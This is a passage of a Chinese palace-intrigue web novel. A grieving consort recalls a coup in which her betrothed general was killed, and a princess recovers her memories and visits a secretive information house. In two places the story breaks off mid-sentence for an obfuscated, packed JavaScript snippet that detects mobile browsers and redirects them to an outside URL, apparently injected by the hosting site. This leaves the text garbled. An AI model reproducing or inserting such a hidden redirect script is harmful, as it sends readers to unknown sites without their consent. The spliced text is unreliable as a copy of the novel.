殿门一合,张嬷嬷看着灯影下那张艳绝却毫无生气的脸,忍不住旧话重提: “我的娘娘…这事都过去整整十年了…您这又是何苦?若当初……” 若没有十年前那场惊变,以将军当时的圣眷与小姐的情谊,早该儿女绕膝,何至于在此深宫熬干心血? “嬷嬷!” 谢婉仪像是被毒针狠狠刺中,骤然抬眸,那双秋水般的瞳仁里瞬间燃起骇人的烈焰与痛楚, “你叫我如何能忘!如何敢忘?” 她声音颤抖,指尖死死抠着桌沿,骨节泛白, “我脚下踏着的每一块砖石,都可能浸透了他的血!你叫我怎么忘?” 泪水毫无预兆地决堤而出,冲刷着脂粉,露出底下常年积郁的苍白。 十年,三万多个日夜,每一次呼吸都带着悔恨的倒刺,唯有那点微弱的、几乎熄灭的恨意,支撑着她行尸走肉般活下去。 张嬷嬷霎时哑然,心痛如绞。 苏定将军与小姐,当年是多少人眼中的璧人。 少年将军,意气风发;谢家贵女,情窦初开。 可叹天意弄人,一朝风云突变,便是阴阳永隔。 “主子…” 嬷嬷压下喉头哽咽,试图劝慰, “这么些年,皇上和谢家…待您总算宽厚,并未强求什么。如今您只需偶尔…” 她本想说“虚与委蛇”,话未出口,却见谢婉仪猛地一挥袖! “啪嚓——!” 腕上那支通透的翠玉镯子狠狠砸在紫檀桌角,顿时碎裂开来,碧色残片迸溅一地。 “宽厚?强求?”谢婉仪像是听到了天大的笑话,笑声凄厉而悲怆,“谢家毁约背信在前!刘彻他篡……” “娘娘!慎言!” 张嬷嬷吓得魂飞魄散,猛地扑上前,用手中帕子近乎粗暴地掩住她的唇,老脸血色尽失,惊恐地环视四周, “隔墙有耳啊娘娘!” 直呼圣讳,重提那被严密尘封的旧事…往日娘娘再恨,也尚存一丝理智,今日这般失态…嬷嬷心中一算,陡然明了——苏将军的祭日,近了。 她压下惊惧,声音压得极低,带着哀求: “娘娘…无论如何,想想…想想您的‘大计’啊!” 除了用这虚无缥缈的“大计”暂时稳住她,嬷嬷已不知还能说什么。或许唯有恨,才能让她从这崩溃的边缘挣扎回来。 …… 十年前,立政殿。 那日的皇后寿宴,百官携眷,觥筹交错,一派歌舞升平。 谁曾想,繁华之下,毒牙已露。 忽传北境刺客混入宫中,时任骁骑将军的苏定奉命率亲兵入宫护卫。 彼时少年将军银甲红缨,身姿挺拔如松,穿行于惶惶人群之间,秩序井然,英气逼人,引得不少闺秀侧目。 苏定行至寿宴席前,目光掠过心中那道倩影时,冷硬的眉眼间方才泻出一丝不易察觉的温柔。 就在片刻前,他在殿外廊下,趁着交错而过的间隙,曾对谢婉仪低声飞快道: “婉仪,等我。宴席散后,我来接你回家。” 二十岁的少年,眼底有星辰大海,更有对未来的无尽憧憬与笃定。那是他留给她的最后一句话,一句虔诚如誓言的低语。 然而,变故突生! 歌舞声未绝,原本应与苏定一同护卫大殿的谢世子谢慎行,竟毫无征兆地反手一剑,直刺苏定左胸! 那一剑,狠辣决绝,穿透银甲,没入心脏! 苏定踉跄一步,猛地回头,眼中满是惊愕与难以置信。 他看向谢婉仪的方向,似乎想从她那里寻求一个答案,一丝慰藉。 视线刚刚对上,还来不及捕捉她的惊惧与绝望,接踵而来的数剑便已将他捅得血肉模糊,视线被鲜血糊住,再也看不清她的容颜。 “为…什…”他口中溢着血沫,却仍凭着最后一口气,爆发出惊人的悍勇,手中长刀悍然劈下,狠狠砍在谢慎行腿骨之上!谢慎行惨叫一声跌倒在地。 苏定以长刀拄地,支撑着不肯倒下,单膝跪于殿门,头颅低垂,仿佛一座瞬间凝固的染血雕像,至死未曾闭上望向谢婉仪的眼睛。 立政殿瞬间炸开了锅,尖叫哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196308|179669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚎声响彻云霄。方才的祥和被彻底撕碎,血腥味弥漫开来。 谢慎行捂着伤腿,被人搀扶起来,面色狰狞,再无半分往日温文尔雅的才子模样。 他撩起染血的袖袍,擦拭着剑上温热的血,目光阴鸷地扫过瑟瑟发抖的众人,声音冰冷: “诸位安坐勿动!待大局定后,自会放尔等离去!” 他离去前,最后看了一眼呆若木鸡、面无人色的谢婉仪,那眼神复杂,掺杂着一丝残忍的快意与近乎怜悯的嘲讽。 紧接着,殿外传来更加密集的兵刃交击与惨嚎声——苏定带入宫中的那些曾随他浴血沙场、忠心耿耿的边军亲卫,在一片“诛杀逆党”的喊杀声中,被迅速屠戮殆尽,无一幸免。 汉白玉的石阶被鲜血染透,汇聚成溪,流淌而下。 三日后,十三皇子刘彻黄袍加身,登基为帝,改年号为“顺治”。 谢家一跃成为新朝最炙手可热的勋贵:谢章授太傅,谢邱任尚书令,手刃苏定的谢慎行也得封太府寺少卿。 旧帝与太子一系及其关联者,则成了无人敢提的禁忌,鲜血与白骨,奠定了顺治元年的开端。 …… 忆及此处,谢婉仪胃里一阵翻江倒海,猛地俯身干呕起来,仿佛要将那积攒了十年的血腥与恶心尽数吐出。 初入宫时,谢家对她的“敲打”言犹在耳: “婉仪,既享了谢家泼天的富贵,就该知恩图报,安心伺候皇上,早日诞下龙子,才是你的本分!” “别忘了苏定是怎么死的!若非你当日…哼!” “婚约早已作废,除了皇宫,这天下还有你的容身之处吗?!” 字字句句,如跗骨之蛆,日夜啃噬着她。 苏定,既是悬在她头顶、提醒她血海深仇的利剑,又是卡在她喉间、让她求生不得求死不能的毒刺! 张嬷嬷默默端来漱口水,看着她呕得撕心裂肺,心疼得老泪纵横: “娘娘…您这又是何苦…苏将军他若在天有灵,也必不愿见您如此自苦啊…” 娘娘的身子早已被常年郁结和那虎狼之药掏空了,太医私下早已摇头,只是不敢明言。娘娘自己,岂会毫无察觉? “够了!” 谢婉仪猛地打断她,用绢帕狠狠擦拭嘴角,眼神重新变得冰冷而锐利,仿佛刚才的崩溃只是一场幻觉, “熙仁那边,给本宫盯紧了!最近…不许再去福寿宫!” 张嬷嬷眼神倏地一闪,有些慌乱地垂下眼,随即凑近几步,声音压得极低: “娘娘放心,那边一切…顺利。”至于福寿宫,她含糊其辞,不敢接话。 谢婉仪疲惫地揉了揉额角,挥挥手示意嬷嬷退下。 殿内重归死寂,她独自望着窗外四方的、被宫墙切割的天空,怅然若失,喃喃自语: “苏郎…若你还在…会赞成我如今走的这条路吗?” 良久,她眼底那点微弱的柔光彻底湮灭,转化为一种近乎残忍的冰冷,嘴角勾起一丝诡异的弧度。 “姬瑶啊姬瑶…你的好女儿,可得…好好活着才行。这戏,才刚开场……” 20.20 意识如同在深海中挣扎,缓缓上浮。 眼皮沉重得如同坠了铅块,费尽千钧之力,才颤动着掀开一丝缝隙,模糊的光线渗入,刺得她微微蹙眉。指尖无意识地蜷缩,动了动,带来一阵僵麻感。 这细微的动静,却瞬间惊醒了床边浅眠的人。 “水……”干涸的喉咙如同被砂纸磨过,发出嘶哑的气音。 崔逢青几乎是本能地起身,动作快得带起一阵微风。他倒来温水,一手熟练地托起浮梦的后颈,将杯沿小心翼翼抵在她苍白的唇瓣上,缓缓倾注。清润的液体滑入喉中,稍稍缓解了那火烧火燎的灼痛。 直到喂完水,将她轻轻放回枕上,崔逢青才猛地回过神来——方才,是她说话了? 他霍然转身,难以置信地盯紧床上的人。直到看见浮梦的眼睫再次颤动,试图睁开双眼,惊喜瞬间冲垮了他连日来的紧绷。他几乎是踉跄着冲出门外,声音因急切而显得有些失控:“快!传府医!殿下醒了!” 旋即他又迅速折返,几乎是半跪在床榻边,目光紧紧锁着浮梦,声音是前所未有的轻柔,带着一丝不易察觉的颤抖:“殿下?能听见臣说话吗?” 浮梦陷在一种半梦半醒的混沌之中,耳边似乎有很多人声,嘈杂而模糊,像隔着一层厚厚的湖水。她努力想看清,想回应,但那点微弱的意识如同风中残烛,摇曳了几下,终究抵不过沉重的疲惫,视野再次沉入一片温暖的黑暗之中。 “公主?公主!” “殿下!殿下您醒醒!” 春意守在不远处,听到声音后立刻赶来,焦急地围在床边,却被府医和崔逢青隔在外围,根本插不进手,只能眼睁睁看着,心急如焚。 府医仔细诊脉后,捋须道:“将军放心,殿下脉象已趋平稳,只是昏睡多日,水米未进,身子极度虚弱,好生将养便是,暂无大碍。” 崔逢青悬着的心终于落回实处,他深吸一口气,沉声吩咐:“去小厨房,将一直温着的粟米粥端来。” “是!”春意立刻领命,几乎是提着裙子小跑出去,心中默念:老天保佑,公主总算醒了…… 喂下小半碗温热的粥羹后,浮梦的意识终于如同退潮后显露的礁石,逐渐清晰坚定起来。 昏迷的这些时日,她仿佛坠入了一个漫长而光怪陆离的梦境。 那些被尘封缺失的记忆碎片,如同被打碎的琉璃,在一片混沌中重新拼合,浮现出既陌生又令人心悸的熟悉画面——高墙下女人凄艳的泪与血、冰冷的诏书、还有……一枚触手生温的旧玉佩。 回忆带着尖锐的棱角,刮擦着她的精神,痛楚却真实。 崔逢青一直守在床边,目不转睛地看着她。 见她眼神终于恢复了清明,虽仍虚弱,却不再是毫无生气的模样,他紧绷的脸色才稍稍缓和。他仔细为她掖好被角,低声叮嘱春意好生照料,这才起身,悄然退出了内室。 人醒了,便好。 他眼底掠过一丝寒芒,那么有些人、有些账,也该去清算了。 室内终于安静下来,春意看着半倚在床头、望着虚空某处怔怔出神的公主,只觉得殿下似乎有哪里不一样了。 那双总是带着几分慵懒戏谑或刻意惶恐的杏眸里,此刻沉淀着一种陌生的、冰冷的沉静,像是暴风雪过后的荒原。 她小心翼翼地蹲在床边,轻声问:“殿下……您还好吗?” 浮梦缓缓转动眼眸,视线聚焦在春意写满担忧的脸上,那熟悉的关切如同锚点,让她漂浮不定的心绪终于找到了归处。她伸出手,声音轻而哑:“春意,过来,让我抱抱。” 春意立刻起身,毫不犹豫地张开双臂,紧紧拥住公主单薄的身躯。她能感觉到公主细微的颤抖,心中笃定:一定发生了大事。 “别担心,”浮梦将下巴搁在春意肩上,声音很低,却异常清晰,“我只是……需要些时间。有太多事,我需要想明白。” 记忆的回归,带来的不仅是真相,更是巨大的危机感和迫在眉睫的压力。有人欲取她性命,有人想拿她当棋子搅动风云……巧的是,她也正想将这摊浑水搅得更浊些,但她绝不会做那个最先被集火的靶子。 这个拥抱温暖而坚实,仿佛能驱散一些骨髓里的寒意。浮梦轻轻蹭了蹭春意的鬓角,深吸一口气,重新抬起头时,眼神已恢复冷静。 “我昏睡这些时日,除了府医,可还有谁来看过诊?”她注意到自己下意识不再称“本宫”,但此刻无心顾及这些虚礼。 春意虽察觉,却只觉得公主怎样都好,立刻回道:“太医署来了几位太医,皆束手无策,说不出个所以然。倒是崔将军请来的那位温神医,似乎诊出了些门道,但具体说了什么,将军并未让奴婢在场,无从知晓。” 太医署的废物点心,浮梦并不意外。倒是那位性情古怪、据说只治有缘人的温神医……崔逢青竟能请动他?他们之间,有何渊源? “京中这几日,可有什么特别的事发生?”浮梦转而问道。 “卢家公子差人送了些滋补药材来。还有……”春意压低了声音,凑近浮梦耳边,“谢世子前几日在酒馆与人斗殴,被打断了腿,如今还卧榻不起呢。” 她顿了顿,声音更轻,几乎细若蚊蚋,“还有……皇后娘娘被陛下下旨禁足椒房殿三月,其兄萧大人也被罚俸一年。” 浮梦眉梢微挑,皇帝果然查到了些东西,动了怒。但这结果……指向皇后萧氏?浮梦心中冷笑,若萧皇后真有这般胆量和能耐布下如此杀局,何必隐忍这么多年?早该一把药送她升天了事。 她能想到的破绽,皇帝那只老狐狸岂会看不出?这背后真正挥棋的手,究竟是谁? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214788|179669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然,她想起方才朦胧中似乎听到崔逢青的声音,问道:“方才……崔逢青也在?” 春意脸上露出一丝复杂神色,低声道:“何止方才,将军这些天几乎寸步不离地守在您床前,喂药喂水、擦拭换衣,皆不假手于人,奴婢……奴婢想近身都难。”语气里带着几分被“夺权”的委屈。 浮梦闻言,瞳孔骤然一缩,心底涌起一股极其陌生酸涩而滚烫的情绪。他……竟亲自守着她? …… 书房内,崔逢青揉着刺痛的额角,试图掩饰眼底连日未眠留下的浓重青黑,却被心腹月明一眼看穿。 “主子,您又一夜未合眼。”月明语气带着不赞同的担忧。 崔逢青见遮掩不住,索性放下手,露出疲惫却锐利依旧的眼神:“那边……还是毫无线索?”他不信此事是皇后主导,那女人没这份心机和魄力。 月明面色凝重:“所有明面上的证据都完美地指向椒房殿,天衣无缝。可正是这‘完美’才更显蹊跷,像是有人刻意为之。” 他迟疑片刻,又道:“不过,属下在追查时,意外发现一事。当日京郊庄园废墟中清理出的那截玉质拂尘柄,其雕工纹样……似乎与宫内某位旧主的喜好颇为吻合。” “后宫?”崔逢青眸光一凛,“顺着这条线查,但务必隐秘。”此事牵扯越来越深,他预感有人要浮出水面了。 月明面露犹豫:“主子,此事恐牵连极广,好不容易借大婚暂避锋芒,若因深入调查公主昏迷一事而暴露更多……”主子甚至想动用那些埋藏极深的暗棋,这代价太大了。 崔逢青自然明白他的顾虑。祖父一再告诫他不可因小失大,尤其不可对皇帝之女投入过多关注,以免被皇室牵制。可是…… 他眼前闪过浮梦苍白昏迷的脸,想起那些只有他知道的,关于她真实身份的隐秘以及十年前的救命之恩。他知道她是谁,她从来都不是…… “不必多说。”崔逢青打断月明的劝谏,语气斩钉截铁,“查!时间拖得越久,痕迹消失得越多。此事,暂不必禀告祖父。”他必须知道是谁要动她,这背后是否与那段被掩埋的旧事有关。 月明看着主子眼中不容置疑的决断,只得将劝说的话咽了回去,垂首领命:“……属下明白。”或许主子另有深意吧。他只是担忧,主子对这位公主的在意,似乎已超出了最初的计划与算计。 崔逢青负手望向窗外,祖父因着公主“皇室血脉”的身份而极度排斥这桩婚事,他能理解。但浮梦的真实身世,终有一日会大白于天下,但那不该由他未经她允许便宣之于口。 而他不知道的是,此刻在内院,刚刚苏醒的浮梦,正凭靠着梦中拼凑出的惊心线索,策划着一场即将出府的验证。梦中之事太过骇人听闻,她急需一个确定的答案,来锚定这足以颠覆一切的乱局。 21.21 熙仁公主苏醒后的第三日,崔府内外的守卫与仆从似乎悄然撤去了大半。往日廊下阶前时常掠过的玄甲亲卫身影稀疏了许多,连带着那些看似洒扫、实则目光锐利的“仆役”也少了□□成。 即使如此,府邸依旧威严。 浮梦冷眼瞧着这变化,心下清明如镜。 这绝非疏忽,而是崔逢青有意为之的“方便”。他在履行婚前的承诺,予她一定的自由,但这自由如同放在玻璃匣中的珍宝,看似触手可及,实则仍在他人掌控之下,界限分明。 她心想倒也说话算话,只是这“算话”背后,是更深沉的算计还是别的什么,她一时竟有些看不分明。 既如此,她也不必再故作小心翼翼。今日,她需出府一趟,去验证那场大梦中拼凑出的图案。 她拣选了一身极其素净的棉布衣裙,颜色是毫不起眼的青灰色,样式简单,毫无纹饰,与“熙仁公主”这个身份应有的华贵奢靡毫不相干。 对镜自照,镜中人脸色仍带病后的苍白,但那双杏眸中往日的慵懒或伪装出的惊惶已褪去,沉淀下一种冷冽的、孤注一掷的沉静。 她从后院偏门而出,一路行至前厅,竟果真畅通无阻。遇见的几个丫鬟小厮皆远远便垂首避让,待她走远,方才窃窃私语几句,目光中交织着好奇、敬畏与探究。 浮梦对这份“顺畅”不置可否。至少,崔逢青在表面功夫上做得十足,这让她接下来的行动,暂时少了一层明面上的阻碍。 她此刻无暇深究他这般纵容的背后究竟藏着什么心思,是欲擒故纵,还是另有所图?若图她公主身份带来的便利,他已得到;若图其他……她甩甩头,将纷乱的思绪压下。眼下,有更重要的事。 长安西市,一如既往的人声鼎沸,烟火气扑面而来。叫卖声、讨价还价声、孩童嬉闹声、车马辚辚声……交织成一曲鲜活而喧嚣的市井乐章。 浮梦戴着遮面的羃?(mì lí),行走其中,如同水滴汇入河流。这份嘈杂与鲜活,反而让她连日来紧绷的心神获得了片刻奇异的喘息。原来,脱离那黄金囚笼般的宫墙与府邸,呼吸一口寻常空气,竟是这般滋味。 她看似随意地漫步,耳廓却微不可察地轻动,如同最敏锐的猎手,捕捉着流窜于市井之间的各种声音。 “今儿的豚肉瞧着新鲜,怎得又涨了三文?” “唉,我家那孽障,若能有人家你儿子半分出息,老子做梦都能笑醒!” “……听说没?害得萧大人被罚俸的那位,前儿个醒啦!” 旁边立刻有人接话,声音带着几分不忿:“啧!萧大人多好的官儿!时常体恤咱们这些小民疾苦,竟被个……哼,真是……” 话未说完,便被同伴紧张地捂住嘴:“快噤声!不要命啦?萧大人都被陛下斥责罚俸了,你还敢嚼公主的舌根?仔细祸从口出!” 那几人声音低了下去,很快便被人潮淹没。 浮梦冪篱下的眼眸微微眯起。萧成行?体恤民情?这风声倒是吹得又快又偏,他何时在民间有了这般“青天”似的名声?是有人刻意引导舆论,想借此打压她这个“罪魁祸首”,还是……这本身就是一场针对她,或者针对萧皇后一脉的更庞大阴谋中的一环? 心思电转间,她的脚步并未停留。今日来西市,首要目的是取钱。她目标明确地拐进几条不起眼的巷弄。 “千机阁”,京中最为神秘的情报交易场所。 阁如其名,号称知晓天下千机万物。然其规矩亦怪:并非有钱便能交易,需得持有阁中感兴趣之物,或身负阁中欲知之事,方得入门。缘、物、消息,缺一不可。其门槛之高,行事之诡秘,令无数权贵趋之若鹜又望而生畏。 浮梦今日,便是要以此地为突破口,去验证那些纠缠她十年、近日愈发清晰却也愈发骇人的梦境碎片 ——关于母亲姬瑶的真正死因,关于她自身模糊的童年,关于那场颠覆前朝的宫变……孰真?孰假?她已无法仅凭破碎的梦魇和自我推测来断定。 公主府昔日积累的财富,大部分早已在她筹划逃离长安时悄然转移置换。剩余的一部分,则被她兑换成便于携带、通行全国的“飞钱”,藏匿于西市这鱼龙混杂之地的一处隐秘据点。本是为远走高飞所做的准备,却不料,最终竟用在了此处。 她谨慎地绕了几圈,确认无人跟踪后,才闪身进入一家门面寻常的杂货铺后院,依照特定顺序敲击了某块看似普通的墙砖。轻微的机括声响起,露出一个暗格。里面除了一沓数额不小的飞钱,还有几件便于伪装的衣物和一些应急之物。 她迅速取出所需,将一切恢复原状,消除自己来过的痕迹。动作麻利,眼神冷静,与昔日那个只知流连“旧故里”、看似不学无术的熙仁公主判若两人。 今日她连春意都未曾带来。并非不信任,而是此事干系太大,风险难测。人多暴露的几率就更大,便多一分危险。 更何况……崔逢青的态度暧昧不明,他那人全身上下都透着一股令人捉摸不透的古怪。他对她超乎寻常的关切与守护,背后究竟藏着什么目的?她不愿,也不敢全然相信。 总觉自己身上似乎还有他所图之物,可思来想去,除了这尴尬的“公主”名头,她还有什么值得他这般费心?这疑虑像一根细刺,扎在心头。 换上一身更不起眼、如同寻常小家碧玉的布裙,重新整理好羃?,浮梦再次融入人流。千机阁位于西市深处,虽处闹市,却自有一种生人勿近的气场。其建筑风格古朴厚重,黑瓦白墙,与周遭的喧嚣浮华格格不入。 曾有无数人好奇,为何千机阁不将据点设在达官显贵云集的城东,反而扎根于这鱼龙混杂的西市?民间猜测纷纷,千机阁却从未回应,一如它一贯的神秘做派。 然而,今日的千机阁,却显得有些异常。 阁楼门前,竟空无一人。那扇传闻中非缘不开的玄色大门紧闭着,连平日守在附近、看似闲散实则眼观六路的暗哨都不见了踪影。 浮梦心下诧异,正欲寻个路人旁敲侧击地问问,目光扫过街对角的一家小茶铺时,却猛地一凝! 谢今茛? 他怎么会在这里? 只见谢家那位据说被打断了腿、理应在家卧床静养的世子爷谢今茛,此刻正好端端地坐在茶铺的简陋条凳上,有一搭没一搭地喝着粗茶,目光似乎有意无意地扫过千机阁的方向。 浮梦心头警铃大作,立刻转身,假意看向旁边的货摊,用羃?遮挡侧脸。 他看见自己了吗?西市虽热闹,但千机阁周边并无甚玩乐之所,他一个养伤的世家子,纡尊降贵出现在此地,本身就极不寻常。难道……他也是为千机阁而来?还是冲着她来的? 她脑中飞速盘算着各种应对之策,甚至闪过一个危险的念头:若他真发现了自己,是否该设法让他再“意外”断一次腿?虽然动手风险极大,但总好过他那张惹是生非的嘴四处宣扬。 正当她心神紧绷之际,却听谢今宸的声音响起,带着一种刻意拔高的、纨绔子弟特有的懒散腔调:“喂,那位大娘,打听一下,这附近的‘绣酿坊’怎么走?小爷记得就在这附近……” 浮梦一怔,绣酿坊?那是一家以刺绣和自酿果酒闻名的老字号,确实在西市,但距离此地还有一段距离。他真是来问路的? 她僵着身子,不敢回头,心中疑窦更深。却听旁边一位正在歇脚、售卖果脯的大娘热情地接话: “哎哟!这位小公子好见识!竟知道咱西市的绣酿坊!那可是几十年的老招牌啦!您从这儿直走,看到路口左转,再走两个路口右拐,门口挂着蓝布酒旗的就是了!” “多谢大娘!”谢今茛笑嘻嘻地道谢,声音听起来毫无异样。 浮梦刚暗自松了口气,却又听他突然道:“旁边这位……”她的心瞬间又提到了嗓子眼! “……劳驾,让让,您挡着小爷的道了。” 浮梦:“……”她有一瞬间,极其想掀开冪篱,再狠狠踹他那条“伤腿”两脚。 但最终,她只是压低了头,哑着嗓子,用沙哑嗓音含糊道:“对不住,没注意。”随即脚步匆匆,混入人群,迅速离开了这是非之地。 但她并未走远,而是在不远处一个卖竹编的摊位后隐蔽起来,目光紧紧锁定了谢今茛。只见他果真将大娘摊上的果脯尽数买下,然后状似随意地四下张望了一圈,那目光锐利一瞬,像是做多了动作来不及转变,绝不像个纯粹的纨绔,这才拎着东西,慢悠悠地朝着大娘指点的方向走去,似乎真的只是路过问个路。 浮梦心中的疑虑却未消散。她耐心等待谢今茛一瘸一拐的身影彻底消失在人潮中,这才重新走向那位卖果脯的大娘。 “大娘,”浮梦开口,声音依旧沙哑,“请问,这千机阁今日为何不开门?” 那大娘正低头收拾着装果脯的竹筐,闻声抬眼皮睨了她一眼,又很快垂下,手上动作不停,仿佛没听见一般,并不作答。 浮梦蹙眉。这反应……她心念微动,从袖中摸出一块约莫一两的碎银,在指尖掂了掂。银子的微光在阳光下一闪。 果然,那大娘的眼睛立刻亮了,抬起头,脸上堆起笑容:“哎哟,姑娘不是本地人吧?这千机阁啊,每月逢十的日子必定闭门谢客,雷打不动,月月如此哩!”说着,手就自然而然地伸向那块银子。 浮梦手腕一缩,将银子稍稍拿远,淡淡道:“再回答一个问题,这银子便是你的了。” 大娘的手僵在半空,脸上笑容淡了些,显出几分市侩的精明与不情愿,但终究还是点了点头:“姑娘还想知道什么?” “方才那位问路的公子,除了问绣酿坊,还同您说了些什么?” 大娘一听,明显松了口气,一拍大腿:“嗨!我当什么事儿呢!那位公子爷就是问路,夸了句绣酿坊的酒好,还顺口嘀咕了句‘这么偏的地儿,生意倒不错’,旁的就没啥了。姑娘,这银子……”她眼巴巴地瞅着浮梦的手。 浮梦将碎银递过去。大娘接过,迅速用牙咬了一下,确认成色后,脸上笑开了花,麻利地揣进怀里,挑起担子便快步离开了,仿佛生怕浮梦反悔。 每月逢十闭门?浮梦抬头望了望千机阁那紧闭的玄色大门,今日恰是初十。这倒是她疏忽了,未曾提前打听清楚规矩。难道今日真要白跑一趟? 她不死心,绕着千机阁那高大的白墙黑瓦走了好几圈。墙体高耸光滑,难以攀爬,且隐隐感觉暗处有视线扫过,显然仍有隐蔽的防卫。 无奈之下,她索性走到方才大娘歇脚的位置,也顾不得尘土,屈身蹲了下来,目光执拗地盯着那扇门,仿佛要将它盯穿。 时间一点点流逝,日头渐渐西斜,街上的喧嚣也稍稍沉淀下来。浮梦蹲得腿脚发麻,加之病体初愈,竟生出几分困倦,眼皮渐渐沉重。 就在她脑袋一点一点,几乎要靠着墙角睡去时,一个低沉却并不难听的声音突兀地在身前响起: “姑娘,问缘否?” 浮梦一个激灵,猛地抬头,冪篱的轻纱晃动间,只见一个身着葛布长袍、脸上覆着半张木质面具的老者,不知何时悄然立于面前。他身形清瘦,气息沉静,与这喧闹的市集格格不入。 “啊?”浮梦一时有些懵然,睡意被惊散大半。 老者似乎并不介意她的失态,竟撩起衣袍下摆,极为自然地在她对面的地上席地而坐,动作从容不迫。 “老夫看姑娘在此徘徊良久,似有所求,与我这千机阁,或许有几分缘分。”他的声音透过面具传来,带着一种奇特的磁性,“若姑娘能答我一个问题,或许……这千机阁,今日可为你破例一开。” 浮梦冪篱下的眉头蹙起。这做派……听起来怎像江湖骗子的口吻?但他衣着气质却不似寻常神棍,尤其是那双从面具孔洞中露出的眼睛,澄澈深邃,仿佛能洞悉人心。 她深吸一口气,压下心头疑虑,抬头看了看那依旧紧闭的阁门,声音恢复了冷静:“如何问缘?又要答何问题?” 老者见她并未被吓退或斥责,反而直接切入主题,面具下的嘴角似乎微微勾起,发出一阵低沉愉悦的笑声: “哈哈哈哈哈……好,爽快!那么,公主殿下,若您想知道那位名动京城、却芳华早逝的姬夫人的往事,今日,或许真是找对地方了。” “公主殿下”四字一出,浮梦浑身骤然一僵,血液仿佛瞬间凝固,他认得她?他如何认得?! 然而,不等她做出任何反应,更令人震惊的一幕发生了—— 只听“吱嘎——”一声沉重而古老的声响,那扇紧闭的玄色大门,竟在这一刻,自内向外,缓缓洞开。 浮梦猛地回头,再看向身前,那面具老者竟已如同鬼魅般消失无踪,原地空余一片尘埃,仿佛从未出现过。 而原本空无一人的千机阁门前,不知从何处悄无声息地冒出了数道身影。这些人皆身着统一的深灰色劲装,面容模糊不清,气息沉凝,行动间悄无声息,如同暗夜中的蝙蝠。 为首一人,身形高瘦,步伐精准地走到浮梦面前,微微躬身,声音平板无波,却带着不容置疑的意味: “公主殿下,阁主有请。” 他的身后,那洞开的门内是一片深不见底的幽暗。门口黑压压地立着的那些灰衣人,目光齐刷刷地落在浮梦身上,沉默而压迫,仿佛一群等待猎物自投罗网的困兽,只待她踏入,便将其吞噬殆尽。 浮梦的心脏在胸腔中狂跳,手心沁出冷汗 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这声音刺耳至极,钻入耳膜带来生理性的不适,让人头皮发麻,下意识就想捂住耳朵。浮梦强忍着不适,强迫自己站稳,目光锐利地刺向声音来源的方向,可惜除了更浓重的黑暗,什么也看不清。 “阁主想要什么?”她反问,声音在空旷的大厅中激起轻微的回音。 那沙哑的声音似乎被她的反应取悦了,发出一阵极低极难听的“嗬嗬”声,像是破旧的风箱:“公主……怎知我是阁主?” 浮梦暗中又后退了半步,与这声音保持距离:“能在此地,以此种方式相见,除了阁主,我想不出第二人。”她顿了顿,压下心头的悸动,直接开出条件,“只要阁下能给我想要的答案,只要我有,皆可奉上。” “哦?”那声音拖长了调子,带着一种猫捉老鼠般的玩味,“那么……公主有什么,是值得换取‘千机’的呢?” 此话问得浮梦一哽。钱财?千机阁显然不缺。权势?她自身难保。她唯一拥有的,或许就是这特殊身份可能带来的某些隐秘价值,以及……一个承诺。 她稳住心神,再次将问题抛了回去:“不如阁主直言,究竟想要什么?若在我能力范围之内,未尝不可商量。” 黑暗中的声音沉默了片刻,似乎在权衡。良久,那沙哑的声音再次响起,带着一种诡异的诱惑:“呵呵……不如,公主允我一次要求。他日,在我需要之时,为我做一件你能力所及之事。如何?” 一个未来的、不确定的承诺?这条件看似空泛,实则凶险莫测。浮梦心中警铃大作,但想到母亲惨死的疑云,想到自己身上莫名的“锁”,想到那扑朔迷离的政局,她咬了咬牙。 “好!”她声音清晰,带着孤注一掷的决绝,“若阁下给出的答案,能解我心中之惑,令我满意。他日一言既出,我浮梦……允你一诺!” “哈哈哈……好!公主果然痛快!”那沙哑的笑声在黑暗中回荡,愈发显得阴森可怖,“放心……你定会……满意……” 笑声渐歇,那声音也如同融入黑暗般,悄然消失。 紧接着,周围墙壁上镶嵌的几盏壁灯忽然“噗”地一声自行点亮,光线虽依旧昏暗,却足以让她看清这是一个巨大无比的环形藏书楼,空气中弥漫着古老纸张和墨锭的特殊气味。方才那声音,似乎是从某个特定的方向传来,又似乎无处不在。 一名灰衣人无声无息地出现在她身侧,躬身示意:“公主,请随我来。您想要的卷宗,已备好。” 浮梦按捺住狂跳的心,跟随着那人,步入更深的书架迷廊之中。她不知道这份用“一诺”换来的答案,将会把她引向何方…… …… 另一边,崔府之内。 就在浮梦离府后不到一个时辰,一队身着宫内服饰的太监便抬着十几口沉甸甸的朱漆箱子,浩浩荡荡地来到了府门前。 为首的是皇帝身边得力的德全公公。他脸上挂着程式化的笑容,宣读了陛下的口谕,无非是赏赐诸多珍贵药材补品,嘱托公主好生休养,安心静心,对于公主昏迷缘由、皇后禁足、萧家罚俸等事,却是只字未提,仿佛从未发生过。 崔逢青面无表情地代公主谢了恩,命人将赏赐收入库房。 一直在偏院研究药方的温祁温神医,被这动静引了出来。他瞥了一眼那些被抬进来的、标着“百年老参”、“雪山灵芝”等名贵标签的锦盒,鼻子轻轻哼了一声,脸上露出毫不掩饰的讥诮。 “哼,尽是些华而不实、药性燥烈之物!就这些东西,给她那身子骨?到底是补还是催命?” 